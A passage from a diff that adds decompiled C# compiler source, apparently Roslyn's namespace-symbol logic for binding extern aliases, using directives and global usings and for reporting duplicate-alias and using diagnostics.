SourceMemberContainerTypeSymbol.ReportReservedTypeName(((SyntaxToken)(ref identifier)).Text, declaringCompilation, val, location); + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + bool flag2 = false; + if (builder?.ContainsKey(valueText) ?? immutableDictionary.ContainsKey(valueText)) + { + flag2 = true; + if (!((SyntaxNode)current.NamespaceOrType).IsMissing) + { + val.Add(ErrorCode.ERR_DuplicateAlias, location, valueText); + } + } + else + { + ImmutableArray.Enumerator enumerator2 = externAliases.GetEnumerator(); + while (enumerator2.MoveNext()) + { + if (enumerator2.Current.Alias.Name == valueText) + { + val.Add(ErrorCode.ERR_DuplicateAlias, ((SyntaxNode)current).Location, valueText); + break; + } + } + } + AliasAndUsingDirective aliasAndUsingDirective = new AliasAndUsingDirective(new AliasSymbolFromSyntax(sourceNamespaceSymbol, current), current); + if (val2 == null) + { + val2 = ArrayBuilder.GetInstance(); + val2.AddRange(immutableArray2); + } + val2.Add(aliasAndUsingDirective); + if (!flag2) + { + if (builder == null) + { + builder = immutableDictionary.ToBuilder(); + } + builder.Add(valueText, aliasAndUsingDirective); + } + continue; + } + if (((SyntaxNode)current.NamespaceOrType).IsMissing) + { + continue; + } + BinderFlags binderFlags = BinderFlags.SuppressConstraintChecks; + SyntaxToken unsafeKeyword = current.UnsafeKeyword; + val3 = default(SyntaxToken); + if (unsafeKeyword != val3) + { + val3 = current.UnsafeKeyword; + Location location2 = ((SyntaxToken)(ref val3)).GetLocation(); + SyntaxToken staticKeyword2 = current.StaticKeyword; + val3 = default(SyntaxToken); + if (staticKeyword2 == val3) + { + val.Add(ErrorCode.ERR_BadUnsafeInUsingDirective, location2); + } + else + { + MessageID.IDS_FeatureUsingTypeAlias.CheckFeatureAvailability(val, (SyntaxNode)(object)current, location2); + sourceNamespaceSymbol.CheckUnsafeModifier(DeclarationModifiers.Unsafe, location2, val); + } + binderFlags |= BinderFlags.UnsafeRegion; + } + else if (!declaringCompilation.IsFeatureEnabled(MessageID.IDS_FeatureUsingTypeAlias)) + { + binderFlags |= BinderFlags.UnsafeRegion; + } + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(); + if (binder == null) + { + binder = declaringCompilation.GetBinderFactory(cSharpSyntaxNode.SyntaxTree).GetBinder((SyntaxNode)(object)current.NamespaceOrType).WithAdditionalFlags(binderFlags); + } + NamespaceOrTypeSymbol namespaceOrTypeSymbol = binder.BindNamespaceOrTypeSymbol(current.NamespaceOrType, instance, basesBeingResolved2).NamespaceOrTypeSymbol; + bool flag3 = true; + bool flag4; + if ((int)namespaceOrTypeSymbol.Kind == 12) + { + SyntaxToken staticKeyword3 = current.StaticKeyword; + val3 = default(SyntaxToken); + if (staticKeyword3 != val3) + { + val.Add(ErrorCode.ERR_BadUsingType, ((SyntaxNode)current.NamespaceOrType).Location, namespaceOrTypeSymbol); + } + else if (!((HashSet)(object)getOrCreateUniqueUsings(ref uniqueUsings, immutableArray)).Add(namespaceOrTypeSymbol)) + { + val.Add((!immutableArray.IsEmpty && ((HashSet)(object)getOrCreateUniqueGlobalUsingsNotInTree(ref uniqueUsings2, immutableArray, cSharpSyntaxNode.SyntaxTree)).Contains(namespaceOrTypeSymbol)) ? ErrorCode.HDN_DuplicateWithGlobalUsing : ErrorCode.WRN_DuplicateUsing, ((SyntaxNode)current.NamespaceOrType).Location, namespaceOrTypeSymbol); + } + else + { + getOrCreateUsingsBuilder(ref usings3, immutableArray).Add(new NamespaceOrTypeAndUsingDirective(namespaceOrTypeSymbol, current, default(ImmutableArray))); + } + } + else + { + if ((int)namespaceOrTypeSymbol.Kind != 11) + { + SymbolKind kind = namespaceOrTypeSymbol.Kind; + if ((int)kind <= 3) + { + if ((int)kind == 1 || (int)kind == 3) + { + goto IL_055c; + } + } + else if ((int)kind == 14 || (int)kind == 20) + { + goto IL_055c; + } + flag4 = false; + goto IL_0564; + } + SyntaxToken staticKeyword4 = current.StaticKeyword; + val3 = default(SyntaxToken); + if (staticKeyword4 == val3) + { + val.Add(ErrorCode.ERR_BadUsingNamespace, ((SyntaxNode)current.NamespaceOrType).Location, namespaceOrTypeSymbol); + } + else + { + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)namespaceOrTypeSymbol; + SyntaxToken globalKeyword = current.GlobalKeyword; + val3 = default(SyntaxToken); + if (globalKeyword != val3 && namedTypeSymbol.HasFileLocalTypes()) + { + val.Add(ErrorCode.ERR_GlobalUsingStaticFileType, ((SyntaxNode)current.NamespaceOrType).Location, namespaceOrTypeSymbol); + } + if (!((HashSet)(object)getOrCreateUniqueUsings(ref uniqueUsings, immutableArray)).Add((NamespaceOrTypeSymbol)namedTypeSymbol)) + { + val.Add((!immutableArray.IsEmpty && ((HashSet)(object)getOrCreateUniqueGlobalUsingsNotInTree(ref uniqueUsings2, immutableArray, cSharpSyntaxNode.SyntaxTree)).Contains(namespaceOrTypeSymbol)) ? ErrorCode.HDN_DuplicateWithGlobalUsing : ErrorCode.WRN_DuplicateUsing, ((SyntaxNode)current.NamespaceOrType).Location, namedTypeSymbol); + } + else + { + binder.ReportDiagnosticsIfObsolete(val, namedTypeSymbol, (SyntaxNode)(object)current.NamespaceOrType, hasBaseReceiver: false); + getOrCreateUsingsBuilder(ref usings3, immutableArray).Add(new NamespaceOrTypeAndUsingDirective(namedTypeSymbol, current, ((BindingDiagnosticBag)(object)instance).DependenciesBag.ToImmutableArray())); + } + } + } + goto IL_05ec; + IL_05ec: + if (flag3) + { + val.AddRange(((BindingDiagnosticBag)instance).DiagnosticBag); + } + ((BindingDiagnosticBag)(object)instance).Free(); + continue; + IL_0564: + if (flag4) + { + val.Add(ErrorCode.ERR_BadUsingStaticType, ((SyntaxNode)current.NamespaceOrType).Location, namespaceOrTypeSymbol.GetKindText()); + flag3 = false; + } + else if ((int)namespaceOrTypeSymbol.Kind != 4) + { + val.Add(ErrorCode.ERR_BadSKknown, ((SyntaxNode)current.NamespaceOrType).Location, current.NamespaceOrType, namespaceOrTypeSymbol.GetKindText(), MessageID.IDS_SK_TYPE_OR_NAMESPACE.Localize()); + } + goto IL_05ec; + IL_055c: + flag4 = true; + goto IL_0564; + } + uniqueUsings?.Free(); + uniqueUsings2?.Free(); + if (val.IsEmptyWithoutResolution) + { + val = null; + } + return new UsingsAndDiagnostics + { + UsingAliases = (val2?.ToImmutableAndFree() ?? immutableArray2), + UsingAliasesMap = (builder?.ToImmutable() ?? immutableDictionary), + UsingNamespacesOrTypes = (usings3?.ToImmutableAndFree() ?? immutableArray), + Diagnostics = val + }; + } + static PooledHashSet getOrCreateUniqueGlobalUsingsNotInTree(ref PooledHashSet? uniqueUsings, ImmutableArray globalUsingNamespacesOrTypes, SyntaxTree tree) + { + if (uniqueUsings == null) + { + uniqueUsings = SpecializedSymbolCollections.GetPooledSymbolHashSetInstance(); + ISetExtensions.AddAll((ISet)uniqueUsings, from n in globalUsingNamespacesOrTypes.Where(delegate(NamespaceOrTypeAndUsingDirective n) + { + SyntaxReference? usingDirectiveReference = n.UsingDirectiveReference; + return ((usingDirectiveReference != null) ? usingDirectiveReference.SyntaxTree : null) != tree; + }) + select n.NamespaceOrType); + } + return uniqueUsings; + } + static PooledHashSet getOrCreateUniqueUsings(ref PooledHashSet? uniqueUsings, ImmutableArray globalUsingNamespacesOrTypes) + { + if (uniqueUsings == null) + { + uniqueUsings = SpecializedSymbolCollections.GetPooledSymbolHashSetInstance(); + ISetExtensions.AddAll((ISet)uniqueUsings, globalUsingNamespacesOrTypes.Select((NamespaceOrTypeAndUsingDirective n) => n.NamespaceOrType)); + } + return uniqueUsings; + } + static ArrayBuilder getOrCreateUsingsBuilder(ref ArrayBuilder? reference, ImmutableArray globalUsingNamespacesOrTypes) + { + if (reference == null) + { + reference = ArrayBuilder.GetInstance(); + reference.AddRange(globalUsingNamespacesOrTypes); + } + return reference; + } + } + + internal Imports GetImports(SourceNamespaceSymbol declaringSymbol, CSharpSyntaxNode declarationSyntax, ConsList? basesBeingResolved) + { + if (_lazyImports == null) + { + Interlocked.CompareExchange(ref _lazyImports, Imports.Create(GetUsingAliasesMap(declaringSymbol, declarationSyntax, basesBeingResolved), GetUsingNamespacesOrTypes(declaringSymbol, declarationSyntax, basesBeingResolved), GetExternAliases(declaringSymbol, declarationSyntax)), null); + } + return _lazyImports; + } + + internal void Complete(SourceNamespaceSymbol declaringSymbol, SyntaxReference declarationSyntax, CancellationToken cancellationToken) + { + ExternAliasesAndDiagnostics externAliasesAndDiagnostics = _lazyExternAliases ?? GetExternAliasesAndDiagnostics(declaringSymbol, (CSharpSyntaxNode)(object)declarationSyntax.GetSyntax(cancellationToken)); + cancellationToken.ThrowIfCancellationRequested(); + UsingsAndDiagnostics usingsAndDiagnostics = _lazyGlobalUsings ?? (declaringSymbol.IsGlobalNamespace ? GetGlobalUsingsAndDiagnostics(declaringSymbol, (CSharpSyntaxNode)(object)declarationSyntax.GetSyntax(cancellationToken), null) : UsingsAndDiagnostics.Empty); + cancellationToken.ThrowIfCancellationRequested(); + UsingsAndDiagnostics usingsAndDiagnostics2 = _lazyUsings ?? GetUsingsAndDiagnostics(declaringSymbol, (CSharpSyntaxNode)(object)declarationSyntax.GetSyntax(cancellationToken), null); + cancellationToken.ThrowIfCancellationRequested(); + while (true) + { + cancellationToken.ThrowIfCancellationRequested(); + CompletionPart nextIncompletePart = _state.NextIncompletePart; + switch (nextIncompletePart) + { + case CompletionPart.StartBaseType: + if (_state.NotePartComplete(CompletionPart.StartBaseType)) + { + Validate(declaringSymbol, declarationSyntax, externAliasesAndDiagnostics, usingsAndDiagnostics2, usingsAndDiagnostics.Diagnostics); + _state.NotePartComplete(CompletionPart.FinishBaseType); + } + break; + case CompletionPart.FinishBaseType: + _state.SpinWaitComplete(CompletionPart.FinishBaseType, cancellationToken); + break; + case CompletionPart.None: + return; + default: + _state.NotePartComplete(CompletionPart.MethodSymbolAll | CompletionPart.StartInterfaces | CompletionPart.FinishInterfaces | CompletionPart.EnumUnderlyingType | CompletionPart.TypeArguments | CompletionPart.FinishMemberChecks | CompletionPart.MembersCompletedChecksStarted | CompletionPart.MembersCompleted); + break; + } + _state.SpinWaitComplete(nextIncompletePart, cancellationToken); + } + } + + private static void Validate(SourceNamespaceSymbol declaringSymbol, SyntaxReference declarationSyntax, ExternAliasesAndDiagnostics externAliasesAndDiagnostics, UsingsAndDiagnostics usingsAndDiagnostics, DiagnosticBag? globalUsingDiagnostics) + { + CSharpCompilation compilation = declaringSymbol.DeclaringCompilation; + DiagnosticBag declarationDiagnostics = compilation.DeclarationDiagnostics; + BindingDiagnosticBag diagnostics = BindingDiagnosticBag.GetInstance(); + if (usingsAndDiagnostics.UsingAliasesMap != null) + { + string text = default(string); + AliasAndUsingDirective aliasAndUsingDirective = default(AliasAndUsingDirective); + foreach (KeyValuePair item in usingsAndDiagnostics.UsingAliasesMap) + { + KeyValuePairUtil.Deconstruct(item, ref text, ref aliasAndUsingDirective); + AliasAndUsingDirective aliasAndUsingDirective2 = aliasAndUsingDirective; + if (aliasAndUsingDirective2.UsingDirectiveReference.SyntaxTree == declarationSyntax.SyntaxTree) + { + NamespaceOrTypeSymbol aliasTarget = aliasAndUsingDirective2.Alias.GetAliasTarget(null); + ((BindingDiagnosticBag)(object)diagnostics).Clear(); + if (aliasAndUsingDirective2.Alias is AliasSymbolFromSyntax aliasSymbolFromSyntax) + { + ((BindingDiagnosticBag)(object)diagnostics).AddRange((BindingDiagnosticBag)(object)aliasSymbolFromSyntax.AliasTargetDiagnostics, false); + } + aliasAndUsingDirective2.Alias.CheckConstraints(diagnostics); + declarationDiagnostics.AddRange(((BindingDiagnosticBag)diagnostics).DiagnosticBag); + recordImportDependencies(aliasAndUsingDirective2.UsingDirective, aliasTarget); + } + } + } + TypeConversions typeConversions = compilation.SourceAssembly.CorLibrary.TypeConversions; + ImmutableArray.Enumerator enumerator2 = usingsAndDiagnostics.UsingNamespacesOrTypes.GetEnumerator(); + while (enumerator2.MoveNext()) + { + NamespaceOrTypeAndUsingDirective current = enumerator2.Current; + if (current.UsingDirectiveReference.SyntaxTree == declarationSyntax.SyntaxTree) + { + ((BindingDiagnosticBag)(object)diagnostics).Clear(); + ((BindingDiagnosticBag)(object)diagnostics).AddDependencies(current.Dependencies); + NamespaceOrTypeSymbol namespaceOrType = current.NamespaceOrType; + UsingDirectiveSyntax usingDirective = current.UsingDirective; + if (namespaceOrType.IsType) + { + ((TypeSymbol)namespaceOrType).CheckAllConstraints(location: ((SyntaxNode)usingDirective.NamespaceOrType).Location, compilation: compilation, conversions: typeConversions, diagnostics: diagnostics); + } + declarationDiagnostics.AddRange(((BindingDiagnosticBag)diagnostics).DiagnosticBag); + recordImportDependencies(usingDirective, namespaceOrType); + } + } + ImmutableArray.Enumerator enumerator3 = externAliasesAndDiagnostics.ExternAliases.GetEnumerator(); + while (enumerator3.MoveNext()) + { + AliasAndExternAliasDirective current2 = enumerator3.Current; + if (!current2.SkipInLookup) + { + NamespaceSymbol ns = (NamespaceSymbol)current2.Alias.GetAliasTarget(null); + if (current2.Alias is AliasSymbolFromSyntax aliasSymbolFromSyntax2) + { + declarationDiagnostics.AddRange(((BindingDiagnosticBag)aliasSymbolFromSyntax2.AliasTargetDiagnostics).DiagnosticBag); + } + if (!Compilation.ReportUnusedImportsInTree(current2.ExternAliasDirective.SyntaxTree)) + { + ((BindingDiagnosticBag)(object)diagnostics).Clear(); + diagnostics.AddAssembliesUsedByNamespaceReference(ns); + compilation.AddUsedAssemblies(((BindingDiagnosticBag)(object)diagnostics).DependenciesBag); + } + } + } + declarationDiagnostics.AddRange(externAliasesAndDiagnostics.Diagnostics); + DiagnosticBag? diagnostics2 = usingsAndDiagnostics.Diagnostics; + if (diagnostics2 != null && !diagnostics2.IsEmptyWithoutResolution) + { + declarationDiagnostics.AddRange(usingsAndDiagnostics.Diagnostics.AsEnumerable()); + } + if (globalUsingDiagnostics != null && !globalUsingDiagnostics.IsEmptyWithoutResolution) + { + declarationDiagnostics.AddRange(globalUsingDiagnostics.AsEnumerable()); + } + ((BindingDiagnosticBag)(object)diagnostics).Free(); + void recordImportDependencies(UsingDirectiveSyntax usingDirectiveSyntax, NamespaceOrTypeSymbol target) + { + if (Compilation.ReportUnusedImportsInTree(usingDirectiveSyntax.SyntaxTree)) + { + compilation.RecordImportDependencies(usingDirectiveSyntax, ((BindingDiagnosticBag)(object)diagnostics).DependenciesBag.ToImmutableArray()); + } + else + { + if (target.IsNamespace) + { + diagnostics.AddAssembliesUsedByNamespaceReference((NamespaceSymbol)target); + } + compilation.AddUsedAssemblies(((BindingDiagnosticBag)(object)diagnostics).DependenciesBag); + } + } + } + } + + private class MergedGlobalAliasesAndUsings + { + private Imports? _lazyImports; + + private SymbolCompletionState _state; + + public static readonly MergedGlobalAliasesAndUsings Empty = new MergedGlobalAliasesAndUsings + { + UsingAliasesMap = ImmutableDictionary.Empty, + UsingNamespacesOrTypes = ImmutableArray.Empty, + Diagnostics = ImmutableArray.Empty, + _lazyImports = Microsoft.CodeAnalysis.CSharp.Imports.Empty + }; + + public ImmutableDictionary? UsingAliasesMap { get; init; } + + public ImmutableArray UsingNamespacesOrTypes { get; init; } + + public ImmutableArray Diagnostics { get; init; } + + public Imports Imports + { + get + { + if (_lazyImports == null) + { + Interlocked.CompareExchange(ref _lazyImports, Microsoft.CodeAnalysis.CSharp.Imports.Create(UsingAliasesMap ?? ImmutableDictionary.Empty, UsingNamespacesOrTypes, ImmutableArray.Empty), null); + } + return _lazyImports; + } + } + + internal void Complete(SourceNamespaceSymbol declaringSymbol, CancellationToken cancellationToken) + { + while (true) + { + cancellationToken.ThrowIfCancellationRequested(); + CompletionPart nextIncompletePart = _state.NextIncompletePart; + switch (nextIncompletePart) + { + case CompletionPart.StartBaseType: + if (_state.NotePartComplete(CompletionPart.StartBaseType)) + { + if (!Diagnostics.IsDefaultOrEmpty) + { + declaringSymbol.DeclaringCompilation.DeclarationDiagnostics.AddRange(Diagnostics); + } + _state.NotePartComplete(CompletionPart.FinishBaseType); + } + break; + case CompletionPart.FinishBaseType: + _state.SpinWaitComplete(CompletionPart.FinishBaseType, cancellationToken); + break; + case CompletionPart.None: + return; + default: + _state.NotePartComplete(CompletionPart.MethodSymbolAll | CompletionPart.StartInterfaces | CompletionPart.FinishInterfaces | CompletionPart.EnumUnderlyingType | CompletionPart.TypeArguments | CompletionPart.FinishMemberChecks | CompletionPart.MembersCompletedChecksStarted | CompletionPart.MembersCompleted); + break; + } + _state.SpinWaitComplete(nextIncompletePart, cancellationToken); + } + } + } + + private static readonly ImmutableDictionary s_emptyMap = ImmutableDictionary.Empty.WithComparers((IEqualityComparer?)ReferenceEqualityComparer.Instance); + + private readonly SourceModuleSymbol _module; + + private readonly Symbol _container; + + private readonly MergedNamespaceDeclaration _mergedDeclaration; + + private SymbolCompletionState _state; + + private ImmutableArray _locations; + + private Dictionary, ImmutableArray> _nameToMembersMap; + + private Dictionary, ImmutableArray> _nameToTypeMembersMap; + + private ImmutableArray _lazyAllMembers; + + private ImmutableArray _lazyTypeMembersUnordered; + + private ImmutableDictionary _aliasesAndUsings_doNotAccessDirectly = s_emptyMap; + + private MergedGlobalAliasesAndUsings _lazyMergedGlobalAliasesAndUsings; + + private const int LazyAllMembersIsSorted = 1; + + private int _flags; + + private LexicalSortKey _lazyLexicalSortKey = LexicalSortKey.NotInitialized; + + private static readonly Func s_declaringSyntaxReferencesSelector = (SingleNamespaceDeclaration d) => (SyntaxReference)(object)new NamespaceDeclarationSyntaxReference(d.SyntaxReference); + + internal MergedNamespaceDeclaration MergedDeclaration => _mergedDeclaration; + + public override Symbol ContainingSymbol => _container; + + public override AssemblySymbol ContainingAssembly => _module.ContainingAssembly; + + public override string Name => _mergedDeclaration.Name; + + public override ImmutableArray Locations + { + get + { + if (_locations.IsDefault) + { + ImmutableInterlocked.InterlockedCompareExchange(ref _locations, _mergedDeclaration.NameLocations, default(ImmutableArray)); + } + return _locations; + } + } + + public override ImmutableArray DeclaringSyntaxReferences => ComputeDeclaringReferencesCore(); + + internal override ModuleSymbol ContainingModule => _module; + + internal override NamespaceExtent Extent => new NamespaceExtent(_module); + + public Imports GetImports(CSharpSyntaxNode declarationSyntax, ConsList? basesBeingResolved) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + if (!(declarationSyntax is CompilationUnitSyntax compilationUnitSyntax)) + { + if (!(declarationSyntax is BaseNamespaceDeclarationSyntax baseNamespaceDeclarationSyntax)) + { + throw ExceptionUtilities.UnexpectedValue((object)declarationSyntax); + } + if (!baseNamespaceDeclarationSyntax.Externs.Any() && !baseNamespaceDeclarationSyntax.Usings.Any()) + { + return Imports.Empty; + } + } + else if (!compilationUnitSyntax.Externs.Any() && !compilationUnitSyntax.Usings.Any()) + { + return GetGlobalUsingImports(basesBeingResolved); + } + return GetAliasesAndUsings(declarationSyntax).GetImports(this, declarationSyntax, basesBeingResolved); + } + + private AliasesAndUsings GetAliasesAndUsings(CSharpSyntaxNode declarationSyntax) + { + return GetAliasesAndUsings(GetMatchingNamespaceDeclaration(declarationSyntax)); + } + + private SingleNamespaceDeclaration GetMatchingNamespaceDeclaration(CSharpSyntaxNode declarationSyntax) + { + ImmutableArray.Enumerator enumerator = _mergedDeclaration.Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + SingleNamespaceDeclaration current = enumerator.Current; + SyntaxReference syntaxReference = current.SyntaxReference; + if (syntaxReference.SyntaxTree == declarationSyntax.SyntaxTree && (object)syntaxReference.GetSyntax(default(CancellationToken)) == declarationSyntax) + { + return current; + } + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/SourceNamespaceSymbol.AliasesAndUsings.cs", 85); + } + + private static AliasesAndUsings GetOrCreateAliasAndUsings(ref ImmutableDictionary dictionary, SingleNamespaceDeclaration declaration) + { + return ImmutableInterlocked.GetOrAdd(ref dictionary, declaration, (SingleNamespaceDeclaration _) => new AliasesAndUsings()); + } + + private AliasesAndUsings GetAliasesAndUsings(SingleNamespaceDeclaration declaration) + { + return GetOrCreateAliasAndUsings(ref _aliasesAndUsings_doNotAccessDirectly, declaration); + } + + public ImmutableArray GetExternAliases(CSharpSyntaxNode declarationSyntax) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + if (!(declarationSyntax is CompilationUnitSyntax compilationUnitSyntax)) + { + if (!(declarationSyntax is BaseNamespaceDeclarationSyntax baseNamespaceDeclarationSyntax)) + { + throw ExceptionUtilities.UnexpectedValue((object)declarationSyntax); + } + if (!baseNamespaceDeclarationSyntax.Externs.Any()) + { + return ImmutableArray.Empty; + } + } + else if (!compilationUnitSyntax.Externs.Any()) + { + return ImmutableArray.Empty; + } + return GetAliasesAndUsings(declarationSyntax).GetExternAliases(this, declarationSyntax); + } + + public ImmutableArray GetUsingAliases(CSharpSyntaxNode declarationSyntax, ConsList? basesBeingResolved) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + if (!(declarationSyntax is CompilationUnitSyntax compilationUnitSyntax)) + { + if (!(declarationSyntax is BaseNamespaceDeclarationSyntax baseNamespaceDeclarationSyntax)) + { + throw ExceptionUtilities.UnexpectedValue((object)declarationSyntax); + } + if (!baseNamespaceDeclarationSyntax.Usings.Any()) + { + return ImmutableArray.Empty; + } + } + else if (!compilationUnitSyntax.Usings.Any()) + { + return ImmutableArray.Empty; + } + return GetAliasesAndUsings(declarationSyntax).GetUsingAliases(this, declarationSyntax, basesBeingResolved); + } + + public ImmutableDictionary GetUsingAliasesMap(CSharpSyntaxNode declarationSyntax, ConsList? basesBeingResolved) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + if (!(declarationSyntax is CompilationUnitSyntax compilationUnitSyntax)) + { + if (!(declarationSyntax is BaseNamespaceDeclarationSyntax baseNamespaceDeclarationSyntax)) + { + throw ExceptionUtilities.UnexpectedValue((object)declarationSyntax); + } + if (!baseNamespaceDeclarationSyntax.Usings.Any()) + { + return ImmutableDictionary.Empty; + } + } + else if (!compilationUnitSyntax.Usings.Any()) + { + return GetGlobalUsingAliasesMap(basesBeingResolved); + } + return GetAliasesAndUsings(declarationSyntax).GetUsingAliasesMap(this, declarationSyntax, basesBeingResolved); + } + + public ImmutableArray GetUsingNamespacesOrTypes(CSharpSyntaxNode declarationSyntax, ConsList? basesBeingResolved) + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + if (!(declarationSyntax is CompilationUnitSyntax compilationUnitSyntax)) + { + if (!(declarationSyntax is BaseNamespaceDeclarationSyntax baseNamespaceDeclarationSyntax)) + { + throw ExceptionUtilities.UnexpectedValue((object)declarationSyntax); + } + if (!baseNamespaceDeclarationSyntax.Usings.Any()) + { + return ImmutableArray.Empty; + } + } + else if (!compilationUnitSyntax.Usings.Any()) + { + return GetGlobalUsingNamespacesOrTypes(basesBeingResolved); + } + return GetAliasesAndUsings(declarationSyntax).GetUsingNamespacesOrTypes(this, declarationSyntax, basesBeingResolved); + } + + private Imports GetGlobalUsingImports(ConsList? basesBeingResolved) + { + return GetMergedGlobalAliasesAndUsings(basesBeingResolved).Imports; + } + + private ImmutableDictionary GetGlobalUsingAliasesMap(ConsList? basesBeingResolved) + { + return GetMergedGlobalAliasesAndUsings(basesBeingResolved).UsingAliasesMap; + } + + private ImmutableArray GetGlobalUsingNamespacesOrTypes(ConsList? basesBeingResolved) + { + return GetMergedGlobalAliasesAndUsings(basesBeingResolved).UsingNamespacesOrTypes; + } + + private MergedGlobalAliasesAndUsings GetMergedGlobalAliasesAndUsings(ConsList? basesBeingResolved, CancellationToken cancellationToken = default(CancellationToken)) + { + if (_lazyMergedGlobalAliasesAndUsings == null) + { + if (!IsGlobalNamespace) + { + _lazyMergedGlobalAliasesAndUsings = MergedGlobalAliasesAndUsings.Empty; + } + else + { + ImmutableDictionary immutableDictionary = null; + ArrayBuilder val = ArrayBuilder.GetInstance(); + PooledHashSet pooledSymbolHashSetInstance = SpecializedSymbolCollections.GetPooledSymbolHashSetInstance(); + DiagnosticBag val2 = DiagnosticBag.GetInstance(); + try + { + bool flag = false; + ImmutableArray.Enumerator enumerator = _mergedDeclaration.Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + SingleNamespaceDeclaration current = enumerator.Current; + if (current.HasExternAliases) + { + flag = true; + } + if (!current.HasGlobalUsings) + { + continue; + } + ImmutableDictionary globalUsingAliasesMap = GetAliasesAndUsings(current).GetGlobalUsingAliasesMap(this, current.SyntaxReference, basesBeingResolved); + cancellationToken.ThrowIfCancellationRequested(); + if (!globalUsingAliasesMap.IsEmpty) + { + if (immutableDictionary == null) + { + immutableDictionary = globalUsingAliasesMap; + } + else + { + ImmutableDictionary.Builder builder = immutableDictionary.ToBuilder(); + bool flag2 = false; + foreach (KeyValuePair item in globalUsingAliasesMap) + { + if (builder.ContainsKey(item.Key)) + { + val2.Add(ErrorCode.ERR_DuplicateAlias, item.Value.Alias.GetFirstLocation(), item.Key); + } + else + { + builder.Add(item); + flag2 = true; + } + } + if (flag2) + { + immutableDictionary = builder.ToImmutable(); + } + cancellationToken.ThrowIfCancellationRequested(); + } + } + ImmutableArray globalUsingNamespacesOrTypes = GetAliasesAndUsings(current).GetGlobalUsingNamespacesOrTypes(this, current.SyntaxReference, basesBeingResolved); + if (!globalUsingNamespacesOrTypes.IsEmpty) + { + if (val.Count == 0) + { + val.AddRange(globalUsingNamespacesOrTypes); + ISetExtensions.AddAll((ISet)pooledSymbolHashSetInstance, globalUsingNamespacesOrTypes.Select((NamespaceOrTypeAndUsingDirective n) => n.NamespaceOrType)); + } + else + { + ImmutableArray.Enumerator enumerator3 = globalUsingNamespacesOrTypes.GetEnumerator(); + while (enumerator3.MoveNext()) + { + NamespaceOrTypeAndUsingDirective current3 = enumerator3.Current; + if (!((HashSet)(object)pooledSymbolHashSetInstance).Add(current3.NamespaceOrType)) + { + val2.Add(ErrorCode.HDN_DuplicateWithGlobalUsing, ((SyntaxNode)current3.UsingDirective.NamespaceOrType).Location, current3.NamespaceOrType); + } + else + { + val.Add(current3); + } + } + } + } + cancellationToken.ThrowIfCancellationRequested(); + } + if (flag && immutableDictionary != null) + { + enumerator = _mergedDeclaration.Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + SingleNamespaceDeclaration current4 = enumerator.Current; + if (!current4.HasExternAliases) + { + continue; + } + ImmutableArray externAliases = GetAliasesAndUsings(current4).GetExternAliases(this, current4.SyntaxReference); + ImmutableDictionary immutableDictionary2 = ImmutableDictionary.Empty; + if (current4.HasGlobalUsings) + { + immutableDictionary2 = GetAliasesAndUsings(current4).GetGlobalUsingAliasesMap(this, current4.SyntaxReference, basesBeingResolved); + } + ImmutableArray.Enumerator enumerator4 = externAliases.GetEnumerator(); + while (enumerator4.MoveNext()) + { + AliasAndExternAliasDirective current5 = enumerator4.Current; + if (!current5.SkipInLookup && !immutableDictionary2.ContainsKey(current5.Alias.Name) && immutableDictionary.ContainsKey(current5.Alias.Name)) + { + val2.Add(ErrorCode.ERR_DuplicateAlias, current5.Alias.GetFirstLocation(), current5.Alias.Name); + } + } + } + } + Interlocked.CompareExchange(ref _lazyMergedGlobalAliasesAndUsings, new MergedGlobalAliasesAndUsings + { + UsingAliasesMap = (immutableDictionary ?? ImmutableDictionary.Empty), + UsingNamespacesOrTypes = val.ToImmutableAndFree(), + Diagnostics = val2.ToReadOnlyAndFree() + }, null); + val = null; + val2 = null; + } + finally + { + pooledSymbolHashSetInstance.Free(); + val?.Free(); + if (val2 != null) + { + val2.Free(); + } + } + } + } + return _lazyMergedGlobalAliasesAndUsings; + } + + internal SourceNamespaceSymbol(SourceModuleSymbol module, Symbol container, MergedNamespaceDeclaration mergedDeclaration, BindingDiagnosticBag diagnostics) + { + _module = module; + _container = container; + _mergedDeclaration = mergedDeclaration; + ImmutableArray.Enumerator enumerator = mergedDeclaration.Declarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + SingleNamespaceDeclaration current = enumerator.Current; + ((BindingDiagnosticBag)diagnostics).AddRange(current.Diagnostics); + } + } + + internal override LexicalSortKey GetLexicalSortKey() + { + if (!_lazyLexicalSortKey.IsInitialized) + { + _lazyLexicalSortKey.SetFrom(_mergedDeclaration.GetLexicalSortKey(DeclaringCompilation)); + } + return _lazyLexicalSortKey; + } + + public override Location TryGetFirstLocation() + { + return (Location)(object)_mergedDeclaration.Declarations[0].NameLocation; + } + + public override bool HasLocationContainedWithin(SyntaxTree tree, TextSpan declarationSpan, out bool wasZeroWidthMatch) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator = 